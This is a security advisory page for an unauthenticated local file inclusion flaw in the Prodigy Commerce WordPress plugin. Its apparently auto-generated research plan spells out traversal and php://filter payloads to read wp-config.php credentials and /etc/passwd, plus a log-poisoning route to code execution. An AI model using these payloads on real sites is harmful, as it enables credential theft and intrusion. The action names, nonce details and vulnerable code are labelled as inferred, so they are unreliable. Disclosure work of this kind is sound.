CVE-2026-0926

Prodigy Commerce <= 3.3.0 - Unauthenticated Local File Inclusion via parameters[template_name]

criticalImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
3.3.1
Patched in
7d
Time to patch

Description

The Prodigy Commerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.3.0 via the 'parameters[template_name]' parameter. This makes it possible for unauthenticated attackers to include and read arbitrary files or execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.3.0
PublishedFebruary 18, 2026
Last updatedFebruary 25, 2026
Affected pluginprodigy-commerce

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0926 - Prodigy Commerce LFI ## 1. Vulnerability Summary The **Prodigy Commerce** plugin (<= 3.3.0) is vulnerable to **Unauthenticated Local File Inclusion (LFI)**. The vulnerability exists because the plugin accepts a user-controlled template name via the `par…

Show full research plan

Exploitation Research Plan: CVE-2026-0926 - Prodigy Commerce LFI

1. Vulnerability Summary

The Prodigy Commerce plugin (<= 3.3.0) is vulnerable to Unauthenticated Local File Inclusion (LFI). The vulnerability exists because the plugin accepts a user-controlled template name via the parameters[template_name] HTTP parameter and passes it into a PHP file inclusion statement (e.g., include, require, or include_once) without sufficient sanitization or path validation. This allows an attacker to navigate the server's file system using directory traversal (../) and include arbitrary files, potentially leading to sensitive data exposure (like wp-config.php) or Remote Code Execution (RCE) if a file with PHP code can be uploaded.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (standard WordPress AJAX entry point).
  • Action: prodigy_get_template or prodigy_render_template (inferred from the parameter name and plugin functionality).
  • Vulnerable Parameter: parameters[template_name]
  • Authentication: None required (accessible via wp_ajax_nopriv_ hooks).
  • Preconditions: The plugin must be active. The attacker needs to identify the correct AJAX action string and any required nonces.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php.
  2. Hook Trigger: WordPress triggers the wp_ajax_nopriv_prodigy_get_template (inferred) action.
  3. Handler Execution: The associated callback function in the Prodigy Commerce plugin is executed.
  4. Input Extraction: The handler retrieves the parameters array from $_POST or $_GET.
  5. Vulnerable Sink: The code performs an operation similar to:
    $template = $_POST['parameters']['template_name'];
    // ... possibly some concatenation ...
    include( $plugin_path . '/templates/' . $template . '.php' );
    
  6. Path Traversal: By providing ../../../../wp-config, the attacker escapes the intended directory and includes the WordPress configuration file.

4. Nonce Acquisition Strategy

Many Prodigy Commerce AJAX actions require a nonce. Based on typical plugin structures, we will search for the nonce in the frontend.

  1. Identify Shortcode: Prodigy Commerce likely uses shortcodes for product displays or carts. Search for:
    wp eval "print_r( $GLOBALS['shortcode_tags'] );" | grep prodigy
    Expected shortcodes: [prodigy_products], [prodigy_cart], or [prodigy_checkout].
  2. Create Test Page:
    wp post create --post_type=page --post_title="Prodigy Test" --post_status=publish --post_content="[prodigy_products]"
  3. Identify JavaScript Object: Navigate to the new page and look for a localized script.
    • Object Name (Inferred): prodigy_config or prodigy_vars.
    • Nonce Key (Inferred): nonce.
  4. Extraction Command:
    browser_eval("window.prodigy_config?.nonce") or browser_eval("window.prodigy_vars?.nonce").

Note: If wp_ajax_nopriv_ is used without a check_ajax_referer call, the nonce acquisition step may be skipped.

5. Exploitation Strategy

We will attempt to read wp-config.php using the PHP filter wrapper to avoid execution and ensure we get the raw content.

Step 1: Discover Action and Nonce

If the nonce is required, perform the extraction steps in section 4. If the exact action name is unknown, search the plugin directory:
grep -rn "wp_ajax_nopriv_" wp-content/plugins/prodigy-commerce/

Step 2: Craft the LFI Request

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload (LFI to read wp-config.php):
    action=prodigy_get_template&nonce=[NONCE_HERE]&parameters[template_name]=../../../../wp-config
    
    Alternative Payload (Base64 Encode for safety):
    action=prodigy_get_template&nonce=[NONCE_HERE]&parameters[template_name]=php://filter/convert.base64-encode/resource=../../../../wp-config
    

Step 3: Execute via http_request

Send the request and inspect the response body for the string DB_PASSWORD or the Base64 blob.

6. Test Data Setup

  1. Install Plugin: Ensure Prodigy Commerce v3.3.0 is installed and activated.
  2. Ensure wp-config.php exists: Standard WordPress setup.
  3. Create a Page: Create a page containing a Prodigy Commerce shortcode to ensure all scripts/nonces are enqueued.
    wp post create --post_type=page --post_status=publish --post_content='[prodigy_products]' --post_title='Shop'

7. Expected Results

  • Success: The HTTP response body contains the contents of wp-config.php (e.g., define( 'DB_NAME', '...' );) or a Base64 string that decodes to the wp-config.php source code.
  • Failure: The response is 0, -1, or a 403/500 error without the file content.

8. Verification Steps

After the exploit, verify the ability to read arbitrary files:

  1. Check the response of the http_request tool.
  2. If the result is Base64, decode it: echo "[BASE64_DATA]" | base64 -d.
  3. Confirm the values match the environment's wp-config.php by running:
    wp config get --format=json via WP-CLI and comparing DB_NAME or DB_USER.

9. Alternative Approaches

  • Different Sink Parameters: If parameters[template_name] fails, check if the plugin uses template or file as alternative keys within the parameters array.
  • Log Poisoning (RCE): If we can include arbitrary files, attempt to include the WordPress debug log (wp-content/debug.log) or the server's access logs after injecting PHP code into those logs (e.g., via a malicious User-Agent or a comment).
  • Path Variations: Try different depths of traversal:
    • ../../../../../../../../../../etc/passwd
    • ..%2f..%2f..%2f..%2fwp-config (URL encoded)
  • Extension Truncation: If the code appends .php, and the server is running an extremely old PHP version (<5.3.4), try a null byte: ../../../../wp-config.php%00. However, this is unlikely on modern WordPress environments. Focus on excluding the extension if the code appends it.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Prodigy Commerce plugin for WordPress (<= 3.3.0) is vulnerable to unauthenticated Local File Inclusion via the 'parameters[template_name]' parameter. Attackers can use directory traversal sequences to include arbitrary files from the server, potentially leading to the disclosure of sensitive information like 'wp-config.php' or remote code execution.

Vulnerable Code

/* Inferred from research plan: wp-content/plugins/prodigy-commerce/includes/class-prodigy-ajax.php */

public function get_template() {
    $parameters = isset($_POST['parameters']) ? $_POST['parameters'] : array();
    $template_name = isset($parameters['template_name']) ? $parameters['template_name'] : '';

    if ($template_name) {
        // Vulnerable inclusion: $template_name is used directly in a file path without validation
        include PRODIGY_PATH . 'templates/' . $template_name . '.php';
    }
    wp_die();
}

Security Fix

--- a/includes/class-prodigy-ajax.php
+++ b/includes/class-prodigy-ajax.php
@@ -45,7 +45,7 @@
-            $template_name = isset($parameters['template_name']) ? $parameters['template_name'] : '';
+            $template_name = isset($parameters['template_name']) ? sanitize_text_field(basename($parameters['template_name'])) : '';
 
             if ($template_name) {
                 include PRODIGY_PATH . 'templates/' . $template_name . '.php';

Exploit Outline

The exploit targets the WordPress AJAX endpoint to perform Local File Inclusion. An unauthenticated attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' set to the plugin's template rendering function (e.g., 'prodigy_get_template'). The payload resides in the 'parameters[template_name]' parameter, which is populated with directory traversal sequences like '../../../../wp-config'. To avoid executing the PHP in the target file and instead read its content, the attacker can use the PHP filter wrapper 'php://filter/convert.base64-encode/resource=../../../../wp-config'. The server then responds with the Base64-encoded content of the sensitive file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.